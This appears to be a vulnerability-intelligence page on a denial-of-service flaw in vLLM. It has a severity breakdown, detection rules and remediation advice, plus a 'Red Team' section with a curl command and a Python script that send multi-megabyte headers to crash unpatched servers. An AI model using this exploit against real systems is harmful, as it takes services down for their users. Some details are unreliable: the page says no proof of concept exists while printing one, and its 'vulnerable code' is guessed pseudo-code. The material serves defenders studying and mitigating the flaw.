☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-400
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48956

CVE-2025-48956 Denial of Service in Vllm
📅 PUBLISHED: 2025-08-21 14:41 UTC 🔄 UPDATED: 2026-09-23 20:20 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
14.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48956 is a high-severity Denial of Service (DoS) vulnerability affecting vLLM, an inference and serving engine for large language models (LLMs). The vulnerability allows an unauthenticated remote attacker to cause server memory exhaustion by sending a single HTTP GET request with an extremely large header. This can lead to a crash or unresponsiveness of the vLLM service, impacting availability. The vulnerability affects versions from 0.1.0 up to, but not including, 0.10.1.1. The fix is implemented in version 0.10.1.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

vLLM is distributed as a Python package via PyPI. Organizations using vLLM should verify their installed version and update to the patched version immediately. The vulnerability is in the HTTP server component of vLLM, which is a core part of the package. There are no known supply chain compromises related to this CVE, but the unauthenticated nature of the attack makes it a critical risk for any exposed vLLM instance.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Attack Vector (AV): Network (N) - The attack can be executed remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required; a simple HTTP GET request is sufficient.
  • Privileges Required (PR): None (N) - No authentication is needed.
  • User Interaction (UI): None (N) - No user interaction is required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): None (N) - No data is exposed.
  • Integrity (I): None (N) - No data is modified.
  • Availability (A): High (H) - The service can be rendered completely unavailable.

Threat Level: High. The low attack complexity, lack of authentication, and direct impact on availability make this a serious threat for any internet-facing vLLM deployment.

Deep Dive & Mechanics

The vulnerability resides in the HTTP server component of vLLM. When vLLM receives an HTTP GET request, it processes the headers. If a header is excessively large (e.g., a single header with a value of several megabytes), the server attempts to allocate memory to store the entire header. Without proper size limits, this can lead to memory exhaustion, causing the process to crash or become unresponsive.

The attack is trivial to execute: an attacker sends a single HTTP GET request with a crafted header, such as:

GET / HTTP/1.1
Host: target
X-Large-Header: <extremely long string>

The server will attempt to parse and store this header, consuming memory until the system runs out of resources. This is a classic resource exhaustion vulnerability (CWE-400).

Vulnerable vs. Patched Code

Vulnerable Code (vLLM < 0.10.1.1): The vulnerable code likely uses a standard HTTP parser without enforcing a maximum header size. For example, in Python's http.server or a custom implementation, the server might read the entire header line into memory without limits.

# Vulnerable pseudo-code
def handle_request(self):
    header_line = self.rfile.readline()  # No size limit
    # Process header...

Patched Code (vLLM >= 0.10.1.1): The patched version introduces a maximum header size limit. This can be done by checking the length of the header line before processing.

# Patched pseudo-code
MAX_HEADER_SIZE = 8192  # 8KB limit

def handle_request(self):
    header_line = self.rfile.readline(MAX_HEADER_SIZE)
    if len(header_line) > MAX_HEADER_SIZE:
        # Reject request with 413 Payload Too Large
        self.send_error(413)
        return
    # Process header...

The exact implementation may vary, but the principle is to enforce a reasonable limit on header size to prevent memory exhaustion.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Cause a Denial of Service on a vLLM instance.

Prerequisites:

  • Target vLLM instance (version < 0.10.1.1) accessible over HTTP.
  • No authentication required.

Exploit Steps:

  1. Identify Target: Scan for vLLM instances using Shodan or similar tools. Look for services on port 8000 (default vLLM port) or other ports.

  2. Craft Malicious Request: Create an HTTP GET request with an extremely large header. This can be done using curl or a custom script.

    # Using curl with a large header
    curl -H "X-Large: $(python3 -c 'print("A"*1000000)')" http://target:8000/
    

    Alternatively, use a Python script for more control:

    import socket
    
    def send_large_header(host, port):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))
        # Craft a GET request with a 10MB header
        large_header = "X-Large: " + "A" * 10_000_000 + "\r\n"
        request = f"GET / HTTP/1.1\r\nHost: {host}\r\n{large_header}\r\n"
        sock.send(request.encode())
        sock.close()
    
    send_large_header("target", 8000)
    
  3. Observe Impact: The vLLM service should become unresponsive or crash. Monitor memory usage on the target to confirm exhaustion.

Expected Outcome: The vLLM process consumes excessive memory and either crashes or becomes unresponsive, denying service to legitimate users.

Blue Team (Defender)

Objective: Detect and mitigate the attack.

Detection:

  • Monitor for HTTP requests with abnormally large headers.
  • Use network monitoring tools to flag requests where header size exceeds a threshold (e.g., 10KB).

Mitigation:

  • Update vLLM to version 0.10.1.1 or later.
  • Implement a Web Application Firewall (WAF) to block requests with oversized headers.
  • Use a reverse proxy (e.g., Nginx, HAProxy) to enforce header size limits before requests reach vLLM.

Example Nginx Configuration:

http {
    # Limit header size to 8KB
    large_client_header_buffers 4 8k;
    # Or use a more restrictive limit
    client_header_buffer_size 1k;
}

Indicators of Compromise (IOCs)

  • Network Traffic:

    • HTTP GET requests with headers exceeding 10KB in size.
    • Requests containing a single header with a very long value (e.g., millions of characters).
    • Repeated requests from the same IP address targeting the vLLM endpoint.
  • System Logs:

    • vLLM logs showing memory allocation failures or crashes.
    • System logs (e.g., dmesg) indicating out-of-memory (OOM) killer activity.
    • Application logs with errors like MemoryError or Cannot allocate memory.
  • Memory Usage:

    • Sudden spike in memory usage for the vLLM process.
    • Process crash or unresponsiveness.

Detection Engineering

YARA Rule

rule CVE_2025_48956_DoS_Large_Header {
    meta:
        description = "Detects HTTP requests with excessively large headers targeting vLLM"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-48956"
    strings:
        $http_get = "GET / HTTP/1.1"
        $large_header = /X-[A-Za-z-]+: [A-Za-z0-9]{10000,}/
    condition:
        $http_get and #large_header > 0
}

Sigma Rule

title: CVE-2025-48956 - vLLM DoS via Large HTTP Header
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with headers exceeding 10KB in size, indicating a potential DoS attack on vLLM.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: vllm
detection:
    selection:
        http.method: 'GET'
        http.header_size: '>10000'
    condition: selection
falsepositives:
    - Legitimate applications sending large headers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48956 - vLLM DoS via Large HTTP Header"; flow:to_server; content:"GET"; http_method; content:"Host"; http_header; pcre:"/X-[A-Za-z-]+: [A-Za-z0-9]{10000,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action:

    • Update vLLM to version 0.10.1.1 or later. This is the only complete fix.
    • If immediate update is not possible, restrict network access to the vLLM service using a firewall or VPN.
  2. Short-Term Mitigation:

    • Deploy a reverse proxy (e.g., Nginx, HAProxy) in front of vLLM to enforce header size limits.
    • Configure the proxy to reject requests with headers larger than a safe threshold (e.g., 8KB).
    • Use a Web Application Firewall (WAF) to block oversized headers.
  3. Long-Term Measures:

    • Implement rate limiting to prevent rapid repeated attacks.
    • Monitor memory usage and set up alerts for unusual spikes.
    • Regularly update vLLM and other dependencies to the latest versions.
    • Conduct security audits of HTTP parsing code in custom applications.
  4. Detection:

    • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
    • Enable logging of HTTP header sizes in your web server or proxy.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48956/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.